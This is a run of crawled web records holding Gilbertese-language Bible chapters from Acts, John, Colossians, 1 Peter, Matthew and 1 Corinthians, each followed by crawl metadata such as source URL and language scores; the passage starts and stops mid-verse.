ao e kaangai, \"Kawaekoako! Teirake!\" A b'aka taurekereke mai baini Betero n te tai naba arei. 8Ao e taku te anera nakoina, \"Kabaea raoi kabaean nuukam, ao karin am kau i waem.\" ao ngaia e karaoi. Ao e a manga tuangnga riki ni kaangai, \"Katokaa rabunan aom i aom, ao irai.\" 9Ao e oti nako Betero n iria, ma e aki koaua raoi n te baere e karaoaki iroun te anera, b'a e taku i nanona b'a ti te bo ma e mii. 10A ri rarikin te koraki n tautia ake te moa ni koraki ma te kaua koraki, ao a roko n te mataroa are te biti, are mataroan te kawai n rin n te kaawa. E uki i bon i rouna te mataroa arei i bukiia, ao a oti nako. A toua te kawai teaina, ao e a kitanna naba te anera. 11Ngke e a oki ana iango Betero, ao e taku, \"I a ataia ngkai b'a E kanakomaia ana anera te UEA, ao E kamaiuai mai nanoni bain Erote, ao mani b'aai ni kabane ake a kaantaningai I-Iutaia b'a a na karaoi.\" 12Ngke e a ata te baere riki nakoina, ao e nako n ana auti Nei Maria are tinan Ioane, are arana teuana Mareko. A botaki iai n tataro aomata aika bati. 13Ao ngke e karebwerebwea mataroan te kaman, ao e nako te ateiaine, ae arana Rote, ae te tia m'akuri ikekei, ni kakauongo. 14Ngke e kinaa b'a b'anaani Betero, ao e aki kauka te mataroa i bukini kim'areireina, ma e biri nako moa nako nanon te auti n tuangiia b'a Betero are tei i rarikin te mataroa. 15A taku nakoina, \"Ko rangirang!\" Ma e kakorakora ni kaotia b'a bon te koaua ana taeka. Ao ngaiia a kaangai, \"Bon anerana.\" 16Ma e aki toki ana karebwerebwe Betero; ao ngke a kaukia, ao a mimi ngke a noria. 17Ao ngaia e taotaona baina nakoia, b'a a na aki karongoa, ao e tuangiia arona ngke E kairiia nako te UEA mai nanon te karabuuti. Ao e taku, \"Kam na tuanga Iakobo ma taari nako taekani baikai.\" 18Ngke e a ingabong, ao e riki te mangao ae ab'ab'aki irouia tautia i bukini Betero, b'a tera ae e riki nakoina. 19E kanakoa ana taeka Erote b'a e na kakaaeaki Betero; ma ngke e aki reke, ao e kananako b'a a na titirakinaki tautia, ao e tua b'a a na kairaki nako ni kamateaki. E wairio ngkanne Erote mai Iutaia nako Kaitareia, ao e tiku iai. 20E rangi n un Erote irouia I-Turo ma I-Titon; ma ngaia are a botiia aia koraki ao a nako ni kawara Erote. A anaa moa nanoni Berateto nakon aia iango; e mena i rouna mwiokon ana tabo ni maeka te uea. Ao a nako ngkanne nakon te uea ni butiia reken te raoi: b'a a karerekei am'arake i bukin abaia man aban te uea. 21N te bongi teuana are e baireaki, ao e karini kunnikaina n uea i aona Erote, ao e tekateka i aon ana kaintokanuea, ao e taetae nakoia aomata. 22A tatakarua aomata ao a kaangai, \"B'anaan te anti, ao tiaki b'anaan te aomata ae taetae!\" 23Ao e oreaki n te tai naba arei Erote iroun ana anera te Atua, b'a e aki angan te Atua te neboaki; ao e rangi ni baki rab'atana b'a e m'ata nanona, ao e mate n tokina. 24E a buta nako riki ana taeka te Atua, ao a bati riki aomata aika kaeka i nanoia. 25Ngke a tia aia m'akuri B'arenaba ma Tauro, ao a oki mai Ierutarem, ao a kaira Ioane are arana teuana Mareko.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/12","date":"2016-06-30T19:30:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783399117.38\/warc\/CC-MAIN-20160624154959-00022-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":808,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwini baikekei ao E ri nanon namani Kariraia Iesu, are e aranaki naba b'a naman Tiberia, nakon iterana are teuana. 2A iria aomata aika rangi ni m'aiti i bukina b'a a tia n noori ana m'akuri aika kamimii ni kamaiuaia aoraki. 3E ararakea te maunga ae aki rietaata Iesu ma ana reirei, ao a tekateka iai. 4E a kaan tain te Toa are te Riao, are aia botaki ae kakannato I-Iutaia. 5E tabeki matana Iesu ngkanne, ao ngke E nooriia aomata aika rangi ni m'aiti b'a a nakoina, ao E taku nakoni Biribo, \"Ti na kabo am'arake ia b'a kanaia aomata aikai?\" 6E atonga aei Iesu b'a E kani kataa Biribo: b'a Iesu E a boni kaman ata are E na karaoia. 7E kaeka Biribo ao e taku, \"E aki tau uabubua te tenari b'a e na kaboaki iai te am'arake ngkai e na rangi n uarereke ae na reke iai b'a kanan temanna ma temanna?\" 8E taku nakoina ana reirei temanna are Anterea, are tarin Timon Betero, 9\"Iai te teinimm'aane ikai ae iai i rouna nimaai te kariki are karaoaki mani burawan te b'are, ao uoman te ika; ma tera manenaia nakoia aomata aikai ni kabaneia?\" 10E taku Iesu, \"Tuangiia aomata b'a a na tekateka n rarikiriki.\" B'a e bati te uteute n te tabo arei. A bane n tekateka aomata, ao tao nimangaa m'aitiia mm'aane. 11E anai kariki akekei Iesu, ao E tataro ni katituaraoi, ao E anga b'a a na tib'aki nakoia ake a tekateka. E karaoa naba ae aron aei nakon ika, ao a bane n reke tib'aia n ai aroni m'aitin are a tangiria. 12Ngke a ngae, ao E taku Iesu nakoia ana reirei, \"Ikoti nikiran am'arake, b'a akea teutana ae na bakataeaki.\" 13Ma ngaia are, a ikoti, ao a kaoni b'aene aika tengauni ma uakora ni m'akorokoron nikirani kariki ake nimaai ake a tia ni kang aomata. 14Ao aomata ngke a nora te b'ai are kamimii are E karaoia Iesu, ao a taku, \"Bon aei te burabeti are nangi roko i aonnaba!.\" 15Ngke E ataia Iesu b'a a nangi roko aomata n taua ma te matoa b'a a na kauea, ao E a manga oki nako n te maunga, n ti Ngaia. 16Ngke e a kani bong, ao a nako ana reirei nakon te nama; 17a toka i aon te boti, n ri nanon te nama nako Kaberenaum. E a bong, ao E tuai n roko Iesu i rouia. 18E a roko buakan te nama i bukin te ang b'a e korakora karena. 19Ngke a tia ni bwenarina i nanon tao nimaua ke onoua te kiromiita, ao a nora Iesu b'a E nakonako i aon te nama, ni kaania te boti; ao a maku. 20Ma E taku nakoia, \"Boni Ngai, tai maku.\" 21A kukurei ngkanne ni katokaa Iesu n te boti; ao e waekoa naba n roko te boti i eta n te tabo are a nako iai. 22N te bong are i mwina, ao aomata ake a mena i mainikun te nama a tia n noria b'a ti tewaana te boti ikekei, ao a ataia naba b'a E aki toka Iesu i rarikia ana reirei n te boti arei; a tia n nako ana reirei n ti ngaiia. 23Ma iai tabewa boti ake a roko mai Tiberia nako rarikin te tabo are a kang kariki iai aomata i mwin ana tataro ni katituaraoi te Uea. 24Ma ngaia are, ngke a noria te koraki arei b'a E aki mena ikekei Iesu, ao akea naba ana reirei, ao a toka i aoni booti n nako Kaberenaum b'a a na ukoukora Iesu. 25Ngke a kunea Iesu te koraki arei i maeaon te nama, ao a taku nakoina, \"Te Tia Reirei, Ko roko ikai n ningai?\" 26E kaekaia Iesu ao E taku, \"Bon te koaua ni koaua ae I a tuangngkami, b'a kam ukoukorai tiaki i bukina ngke kam noori m'akuri aika kamimii, ma i bukina ngke kam kang kariki ao kam ngae. 27Kam na aki m'akuri ni karekea te am'arake ae kai buakaka, ma kam na uaiakina reken te am'arake ae teimatoa, ae te am'arake i bukin te maiu are aki toki.\" 28Ma ngaia are, a titirakinna ni kaangai, \"Tera ae ti riai ni karaoia b'a ti aonga ni karaoa iai are E tangiria te Atua?\" 29E kaeka Iesu ao E taku, \"Te b'ai ae E tangiria te Atua b'a kam na karaoia bon aei: kam na onimakina ae E a tia ni kanakomaia.\" 30Ma ngaia are, a taku nakoina, \"Tera te m'akuri ae kamimii ae Ko na karaoia b'a ti aonga n noria, ao ti a kakoauako iai? Tera ae Ko na karaoia? 31A kangi maana ara bakatibu n te rereua, n ai aron are koreaki ni kaangai: 'E anganiia te am'arake mai karawa b'a kanaia.' \" 32E taku ngkanne Iesu nakoia, \"Bon te koaua ni koaua ae I a tuangngkami b'a tiaki Mote ae anganingkami te am'arake mai karawa, ma Tamau ae anganingkami te am'arake ni koaua mai karawa. 33B'a te am'arake ae E anga te Atua boni Ngaia ae ruo mai karawa, ao E anga te maiu nako aonnaba.\" 34A taku ngkanne nakoina, \"Te Uea, Ko na anganganira te am'arake anne n taai nako.\" 35E taku Iesu nakoia, \"Boni Ngai te am'arake ni kamaiu; ane nako iu ao e na bon aki manga kona ni baki, ao ane onimakinai ao e na bon aki taka. 36Ma I a tia n tuangngkami b'a e ngae ngke kam a tia n norai, ma kam na bon aki onimaki. 37Aomata nako akana E anganai te Tama ao a na bane nako iu. N na bon aki kona n tannako mairoun ane nako iu. 38B'a I roko mai karawa, tiaki i bukini karaoan nanou, ma i bukini karaoan nanon Teuare kanakomaiai. 39Aio nanon Teuare kanakomaiai: E tangirai b'a N na aki kabua temanna i buakoia ake E a tia n anganai, ma N na manga kamaiuia ni kabaneia n te kabanea ni bong. 40B'a aio nanon Tamau: b'a ane nora te Nati ma n onimakinna, ao e na reke i rouna te maiu are aki toki; ao N na manga kamaiua n te kabanea ni bong.\" 41A ngureakinna ngkanne I-Iutaia i bukina ngke E kaangai, \"Ngai te am'arake are ruo mai karawa.\" 42Ao a taku, \"Tiaki Iesu Teuaei, are natin Ioteb'a? Ti kinaa tamana ma tinana. E na kanga ngkanne ni kaangai, I ruo mai karawa?\" 43E kaekaia Iesu ao E taku nakoia, \"Kam na katoki ngurenguremi. 44Akea ae kona n riki b'a au reirei ngkana e aki kairaki nako iu iroun te Tama are kanakomaiai; ao N na manga kamaiua n te kabanea ni bong. 45E koreaki irouia burabeti ae kaangai, 'A na bane aomata nako n reireiaki iroun te Atua. E riki b'a au reirei te aomata ane ongo ma n reirei iroun te Tama. 46Tiaki nanona b'a iai ae e a tia n nora te Tama; ti Teuare mairoun te Atua ae E a tia n nora te Tama. 47Bon te koaua ni koaua ae I a tuangngkami b'a ane onimaki ao e a reke i rouna te maiu are aki toki. 48Ngai te am'arake ni kamaiu. 49A kangi maana ami bakatibu n te rereua, ao a mate. 50Aio te am'arake are ruo mai karawa, are e na kanna te aomata ao e na aki mate. 51Ngai te am'arake ae reke te maiu mai iai are ruo mai karawa. Ane kana te am'arake aei, ao e na maiu n aki totoki; ao te am'arake ae N na anga i bukini maiun te aonnaba bon irikou.\" 52A kauntaeka ngkanne I-Iutaia i bon i rouia, ao a kaangai, \"E na kanga Teuaei ni kona n anganira irikona b'a karara?\" 53Ma ngaia are, E taku Iesu nakoia, \"Bon te koaua ni koaua ae I a tuangngkami, b'a ngkana kam aki kana irikon Natin te Aomata, ao kam aki nima raraana, ao akea te maiu i nanomi. 54Ane kana irikou ao e nima raraau, ao e a reke i rouna te maiu are aki toki, ao N na manga kamaiua n te kabanea ni bong. 55B'a bon te am'arake ni koaua irikou, ao bon te ninima ni koaua raraau. 56Ane kana irikou, ma n nima raraau, ao e memena i nanou, ao Ngai i nanona. 57Ngkai E kanakomaiai te Tama are mai Rouna te maiu, ao Ngai I maiu i bukin te Tama, ao te aomata ngkanne ane kanai e na maiu i buku. 58Aei te am'arake are ruo mai karawa; tiaki aron te am'arake are a kanna ami bakatibu, ao a mate i mwina. Te aomata ane kana te am'arake aei, ao e na maiu n aki toki.\" 59E atongi baikai Iesu ngke E reirei ni m'aneabaia I-Iutaia i Kaberenaum. 60Ngke a ongo baikai m'aitiia ana reirei Iesu, ao a taku, \"A matoatoa taeka aikai; antai ae kona n ongora iai?\" 61E ataia Iesu i nanona ae a ngurengure ana reirei i bukin taeka akekei, ma ngaia are E titirakiniia ao E taku, \"A uruaki ami onimaki n taeka akekei? 62Iangoia b'a kaanga tera ae na riki ngkana arona b'a kam nora Natin te Aomata b'a E rierake nakon te tabo are E mena iai ngkoa? 63Ae E anga te maiu bon Tamnein te Atua; akea irouia aomata ae kona ni karaoa aei. A riki taeka aika I a tia n atong b'a kawain rokon te Tamnei ao te maiu iroumi. 64Ma iai i buakomi aika aki onimaki.\" B'a Iesu E a kaman ataiia rimoa b'a antai ake aki onimaki, ao antai teuare na kam'anea. 65Ao E a manga taku riki, \"Ao aei bukin are I tuangngkami b'a akea te aomata ae kona n riki b'a au reirei, ma ti ngkana e anganaki te kona iroun te Atua.\" 66I bukin aei, ao a kitana Iesu ana reirei aika m'aiti n aki manga kan airiiri ma Ngaia. 67E taku ngkanne Iesu nakoia uake tengauni ma uoman, \"Kam na nako naba ngkami?\" 68E kaekaa Betero ao e taku, \"Te Uea, ti na nako n antai? A mena iroum taeka aika e reke mai iai te maiu are aki toki. 69Ti kakoauako ao ti ataiko b'a Teuare Moan te Raoiroi Ngkoe, are Natin te Atua.\" 70E kaeka Iesu ao E taku, \"Tiaki I rineingkami ngkami aika tengauni ma uoman, ao bon iai te riaboro temanna i buakomi!\" 71E taekina Iuta are natin Timon Itekariota, are temanna i buakoia uake tengauni ma uoman, b'a ngaia are e na kam'anea.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/John\/6","date":"2016-07-01T21:30:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783403825.35\/warc\/CC-MAIN-20160624155003-00181-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1729,"character_repetition_ratio":0.059,"word_repetition_ratio":0.02,"special_characters_ratio":0.26,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"23Kanga b'aai ni baka n rabakau tuua aikai i rouia nake a i manonoia aomata b'a a na taromauriia anera, ao b'a a na b'aina te baka n nanorinano ma aki akoan te rab'ata; ma akea manenaia nakon te aomata ae kan tautaeka i aoni baika e kainanoi rab'atana.\nKOROTE 2:23\nFREE!\nOne App.\n1192 Languages.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/23","date":"2016-06-25T12:46:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393146.70\/warc\/CC-MAIN-20160624154953-00164-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.000005841255188}","num_words":54,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.37,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae I kani kaungaia unimm'aane akana mena i buakomi, ngai ae bon te unimm'aane naba, ao te tia nora Kristo n arona ni maraki, ao te tia buokanib'ai n te neboaki are nang kaotaki: 2kam na tararua raoi ana nanai te Atua ma ni kawakinna raoi, tiaki n te aro ae kam kairoroaki iai; ma kam na kawakinna ma te nano ni kukurei n ai aron nanon te Atua. ao kam na kawakinna naba, tiaki i bukin te kanib'aib'ai n te aro ae aki riai, ma i bukina b'a bon iai nanomi ae korakora nako iai; 3ao tai tau-taekaniia akana mena i aan ami tararua, ma kam na riki b'a banna ni kakairi nakon te nanai. 4Ao ngkana E a manga oki te Tia Kawakin-tiibu are te Mataniwi, ao e na reke iroumi te bau are te neboaki are aki kona n rai. 5Ao i bukimi ngkami aika kam ataei riki: kam na aan-taeka irouia unimm'aane. Ao kam na b'aina te nanorinano n aromi n i torotoro iroumi; b'a e kaangai te B'aib'ara: \"B'a E ekianako nako akana kainikatonga te Atua, ao E akoia akana nanorinano.\" 6Ma ngaia ae kam na kananorinanoingkami i aani bain te Atua ae baina ae m'aaka, b'a E aonga ni karietataingkami n te tai ae riai. 7Kam na kaaki i aona baika kam raraomaeakin, b'a E tabeakiningkami. 8Kam na kamarurungngkami, ao b'aina te tatauraoi. B'a e aiwaa ami kairiribai are te riaboro n ai aron te raian ae bekorara, n ukoukora konana b'a e na ongnga. 9Kam na rarawa nakoina, ao kam na teimatoa n te onimaki, ngkai kam ataia b'a raomi n onimaki i aon aaba nako a taonaki naba ni maraki aika ti te bo aroia ma akana kam taonaki iai. 10Ao te Atua are mai Rouna te akoi ni kabane, ae weteingkami nakon neboakina ae aki toki ngkai kam reitaki ma Kristo, E na karaoingkami b'a a na nako raoi aromi i mwini marakimi n te tai ae aki maan, ao E na kateimatoaingkami ma ni kakorakoraingkami ma ni kamatoatoaingkami 11Ana b'ai te tautaeka n aki totoki. Amen. 12E korea te reta ae kimototo Tirouano i buku, ae te tari ae I taku b'a e kakaonimaki. I kani kaungaingkami ma ni kaotiota te akoi aei b'a te akoi ni koaua ae mairoun te Atua: kam na teimatoa iai. 13E kamauringkami neiei, ae e mena i B'aburon ae neie rineaki naba ma ngkami; ao e kamauringkami naba Mareko ae natiu. 14Kam na i kamauringkami n ai aroia taari ni kamauri. E na mena te rau iroumi ni kabaneingkami akana kam reitaki ma Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/5","date":"2016-07-01T21:26:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783403825.35\/warc\/CC-MAIN-20160624155003-00189-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":433,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1B'a Uean te Atua ai aron te aomata ae atun te mwenga teuana. E nako teuarei ngke e a tib'a ingabong n anaia aomata ake a na m'akuri ni nen arokana te kureebe. 2Ao ngke e a tia ni boraraoi ma taani m'akuri b'a e na kabooia n tatabeua te tenari n te bongina, ao e kanakoia nakoni nnen arokana te kureebe. 3Ao e a manga nako naba teuarei n te aoa ruaiwa, ao e noriia aomata tabem'aang b'a a teitei n aoriia n te tabo ni m'akete; 4ao e taku nako ia, 'Kam na nako naba nakoni nen te kureebe, ao N na kabooingkami n ae riai.' 5Ma ngaia are a nako. Ao e a manga nako naba teuarei ngke e a tawanou, ao n te aoa tenua n te tanimaeaontaai, ao e a manga katotonga naba arona are rimoa. 6E a manga nako naba ngke e a kani bo te aoa nimaua, ao e a manga noriia aomata tabem'aang b'a a teitei; ao e titirakiniia ni kangai, \"Kam aera ngkai kam aoringkami n teitei ma ngke e ingabong ni karokoa ngkai?\" 7A taku nako ina, 'B'a akea ae kam'akurira.' E taku nako ia, 'Kam na nako naba nakoni nnen te kureebe.' 8Ngke e a tairiki, ao e taku teuare ana b'ai te nne n aroka nakon aia mataniwi taani m'akuri, Ko na weteia taani m'akuri, ao anganiia nako boon aia m'akuri: anganiia moa ake a roko rimoa. 9Ao ngke a roko uake a kam'akuraki n te aoa nimaua, ao a katoaaki n anganaki booia ae tab'anin i bukin te bong ae b'anin. 10Ao ngke a roko uake a moa ni kam'akuraki, ao a taku n aia iango b'a a na karekea ae m'aiti riki; ma a katoaaki n anganaki naba booia ae ti te bo ma uake a moan anganaki. 11Ngke e reke i rouia booia, ao a ngurengure iroun teuare kam'akuriia, 12Ao a taku, \"A m'akuri uake a roko rimwi i nanon ti teuana te aoa, ao ko kabooia ni kaboraoiia ma ngaira, aika ti uota rawawatan te m'akuri i nanon te bong ae b'anin i aani korakorani kabuebuen te riringa!\" 13Ao ngaia, e kaeka temanna i rouia, ni kangai, \"Raou, I aki karaoa ae bure nako im; tiaki ko boraraoi ma ngai i bukin are ti a tia ni kariaia? 14Anaa boom ao naako! I kan angan ae rimwi ni kaboraoia ma ngkoe. 15Tiaki b'a iai i rou te inaomata ni karaoa ae I tangiria ma au b'ai? E aera b'a ko na moanoku ngkai iai i rou te nano n akoi?\" 16E a manga taku Iesu, \"Ane a na riki n rimoa aika rimwi, ao a na riki n rimwi aika rimoa.\" 17Ngke E m'ananga Iesu nako Ierutarem, ao E kaokoroia ana reirei ake tengauni ma uoman, ao E taku nako ia ngke a tabe n nakonako, 18\"Noria, ae ti a nako Ierutarem, ao ane E na kam'aneaki Natin te Aomata nakoia ibonga ake mataniwi ma taani koroboki, ao ane a na motika taekana nakon te kamateaki; 19ao a na anga Ngaia nakoia ianena ake a na b'ainingareia, a na kataerea, ao a na kamatea n te kaibangaki; ma E na manga uti n te katenibong.\" 20Ao ngkanne e roko buun Tebetaio ma natina mm'aane iroun Iesu, ao e katorobubua ni bobaraaki i matana ni karinea, ao e butiia Iesu n te aro n anainano. 21Ao E taku Iesu nako ina, \"Tera ae ko tangiria?\" E taku neierei nako Ina, \"Ko na tua b'a a na tekateka natiu aika uoman aikai, temanna i angaataim, ao temanna i angamaingim, ngkana Ko a taua nakoam n uea.\" 22Ma E kaeka Iesu ni kangai, \"Kam aki ata te b'ai ane kam bubuti i bukina. Kam kona ni moi ni m'angkon te karawawataki ae N nangi nimma?\" A taku nako Ina, Ti kona. 23E taku nako ia, \"Kam na boni moi n au m'angko, ma tiaki au b'ai te anganingkami te kona n tekateka i angaataiu ao i angamaingiu; e ti katauaki i bukiia te koraki ake E a tia Tamau ni katauraoia i bukiia.\" 24Ngke a ongo aei reirei ake tengaun, ao a un irouia Iakobo ma Ioane. 25Ma E weteia Iesu, ao E taku nako ia: Kam ataia b'a te koraki ake a katauaki b'a taan tau-taeka i aoia ianena, bon iai m'aakaia i aoia, ao aia aomata ake a kakannato, a kabonganai m'aakaia i aoia. 26E na aki riki aei i buakomi; ma ane kani kakannato i buakomi, ao e riai n riki b'a ami tabonibai 27ao ane kan riki b'a moami, ao ke e riki b'a ami toro. 28B'a aron Natin te Aomata ngkae E aki roko b'a E na tautoronaki te aba i Rouna, ma E roko b'a E na toro irouia aomata, ao b'a E na anga maiuna b'a b'aini kainaomataia aomata aika bati. 29Ngke a kitana Ieriko Iesu ma ana reirei, ao a iraki irouia aomata aika rangi ni m'aiti. 30Ao noria, iai uoman te mataki aika tekateka i rarikin te kawai; ngke a ongo b'a E ri rarikiia Iesu, ao a takarua ni kangai, \"Natin Tawita! ko na nanoangaira!\" 31Ao a takuaki irouia aomata, ao a tuangaki b'a a na aki karongoa; ma a kanenei riki b'anaaia n takarua ni kangai, \"Te Uea ae Natin Tawita, Ko na nanoangaira!\" 32Ao E tei Iesu, ao E weteia, ao E taku, \"Tera ae kam tangirai iai b'a N na karaoia i bukimi?\" 33A taku nako Ina, \"Te Uea, ti tangiriko b'a Ko na angani matara te kona n noraba!\" 34E nanoangaiia Iesu, ma ngaia are E riingi mataia ao a noraba naba; ao a iria.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/20","date":"2016-06-26T08:45:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395039.24\/warc\/CC-MAIN-20160624154955-00182-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":933,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I kaota nako imi te aro ae moan te raoiroi riki: ngkana iai i rou te kona n taetae n taetaen aaba nako ma aia taetae anera, ma ngkana akea te tangira i rou, ao I riki n ai aron te b'ai ni katangitang ae te buraati ae e karongoa tangina, ma te b'ai ni katangitang ae te timbara ae e karongoa naba tangina. 2Ao ngkana iai i rou te kona n taetae ni burabeti, ma te kona n atai baika raba ni kabane, ma te atatai ni kabanea; ao ngkana e bane n reke i rou aron te onimaki are I kona ni kam'ae nako maunga iai, ma ngkana akea te tangira i rou, ao bon akea bonganau. 3Ao ngkana I anga nako au b'ai ni kabane, ao I anga rab'atau b'a e na kabuokaki, ma akea te tangira i rou, ao bon akea te bae e raka ae N na karekea iai. 4E taotaona nanona te tangira ao e atataiaomata; e aki babakantang te tangira; e aki tataetae ni karakaraka te tangira, ao e aki kainikatonga; 5e b'aina te aroaro ae riai; e aki ukoukori baika e na kab'aia iai n ti ngaia; e aki kakaiun, ao e aki tautau mwini buure ake a karaoi aomata. 6E aki kim'areirei n te buakaka, ma e kim'areirei n te koaua. 7E kaitarai b'aai ni kabane ma te taotaonaki n nano; e teimatoa n onimaki; e teimatoa ni kaantaninga, ao e teimatoa n taotaona nanona nakoni b'aai ni kabane. 8E aki kona ni mauna te tangira; ao ngkana iai taetae ni burabeti, ao a na kamaunaki; ao ngkana iai taetae aika a aki ataaki nanoia, ao a na bon toki; ao ngkana iai te atatai, ao e na kamaunaki naba. 9B'a a aki koro raoi aron ara atatai, ao e aki koro raoi naba aron ara taetae ni burabeti; 10ma ngkana e roko are te kororaoi, ao e na kamaunaki are aki koro raoi. 11Ngke te teei ngai, ao I taetae n ai aron te teei, ao I iango n ai aron te teei, ao I babaire n ai aron te teei; ngkai I a ikawai, ao I kaki aaro n ataei. 12B'a ae ti noria ngkai ai aron tein taraana ae aki turuturu raoi i nanon te tirotaam; ma ane ti na bon noria raoi n te aro n itaramata. E aki koro raoi aron au atatai ngkai, ma ane na boni koro raoi arona rimwi, n ai arou ngkai I bon ataaki raoi. 13Ma ngkai a tiku n teimatoa baika tenua aikai, ae te onimaki, ma te kaantaninga, ma te tangira, ma e kakannato riki te tangira i buakoia.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/13","date":"2016-06-26T21:39:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395560.14\/warc\/CC-MAIN-20160624154955-00013-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":441,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.478,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I aki inaomata? Tiaki te tia tuatua ngai? I tuai nora Iesu are ara UEA? Ao tiaki ngkami kanoani mwin au m'akuri i bukin te UEA? 2Ngkana a aki kinai tem'angina b'a te tia tuatua ngai, ma kam boni kinai b'a te tia tuatua ngai nako imi; b'a boni kakoauan nakoau ngkami b'a te tia tuatua ngai i bukin te UEA. 3Ao aio au taeka nakoia akana nenera arou: 4Akea ara riai b'a ti na am'am'arake ma ni momooi i bukin ara m'akuri? 5Akea ara riai b'a ti na kaiririia buura aika Kiritian, n ai aroia taan tuatua ake tabem'aang, ma tarin nako te UEA, ma Keeb'a? 6Ke ti ngai ma B'arenaba aika ti na m'akuri ni karekei baika ti kainanoi i bukini maiura? 7Antai te tautia ae boni kab'akai booni mwin ana kabanem'ane i nanon ana tai ni m'akuri n tautia? Antai ae uniki kureebe ni nneia ae e na aki kang uaana? Antai te tia kaawakintiibu ae aki karekea nimana n rannimammaia tiibu? 8I aki taekini baikai man te iango n aomata. Tiaki b'a aei naba ae e taekinna te Tua? 9B'a e koreaki ae kangai n ana Tua Moote: Ko na tai kabaea wiin te kao ngkana e toutoua te uita ni kaki kunna; 10ke tiaki ana taeka anne i bukira? E boni koreaki i bukira: b'a te aomata ae katauraoa raoi tanon ana tabo n ununiki e m'akuri ma kaantaningan reken tib'angana man uaan arokana; ao te aomata are kaki kunin uaan uita e kaantaninga naba reken tib'angana man uaan uita. 11Ngkana ti a tia ni kamaae n uniki koraa i nanomi ni baika reitaki ma ana kaantaninga te Atua, ao e na iai te nakobuaka i roumi ngkana ti karekei mai roumi uaani mwin ara m'akuri, aika b'ain te maiu aei? 12Ngkana iai aia riai tem'angina ni karekei tib'angaia n ami b'ai, ao tiaki e a moamoa riki ara riai ni karekei tib'angara n ami b'ai? Ma e boni ngae n anne, ma ti a tia n aki b'aina arora aei nako imi; ma ti taotaon nanora nakoni b'aai nako b'a ti aonga n aki tutuka kawain Euangkerion Iesu Kristo. 13Kam aki ataiia ake a kakarao taromauri n te um'antabu b'a a karekei kanaia man te um'antabu, ao te koraki ake a karao taromauri n angakarea b'a iai tib'angaia ni baike a kareanaki? 14Ao ai arona naba nakoia te koraki ake a tataekina te euangkerio, b'a E tua te UEA b'a a riai ni kareke baika kainanoi i bukini maiuia man aia m'akuri n tataekina te euangkerio. 15Ma I tuai mani b'aina teuana mani baikai, ao I aki koroi naba taeka aikai b'a a aonga n reke nako iu. E raoiroi riki i buku b'a N na mate nakon ae e anaaki mai rou iroun temanna te b'ai ae I kakatonga iai. 16B'a ngkana I tataekina te euangkerio, ao bon akea bukin ae N na kamoamoa iai, b'a I katabeaki iai b'a I bon riai n tataekinna. E na reke kaiu ngkana I aki tataekina te euangkerio! 17B'a ngkana I karaoa aei i bukin ae I boni kani karaoia, ao e na reke iai boon au m'akuri; ma ngkana I karaoia i bukina b'a tiaki oin nanou, ao I karaoia b'a bon au m'akuri ae I anganaki b'a N na karaoia. 18Tera ngkanne kaniwangau iai? Bon te tataekina te euangkerio n akea boona, ao te aki b'aini baike a bon riai n reke nako iu n au m'akuri i bukin te euangkerio. 19B'a e ngae ngke I inaomata b'a akea ae I toro i 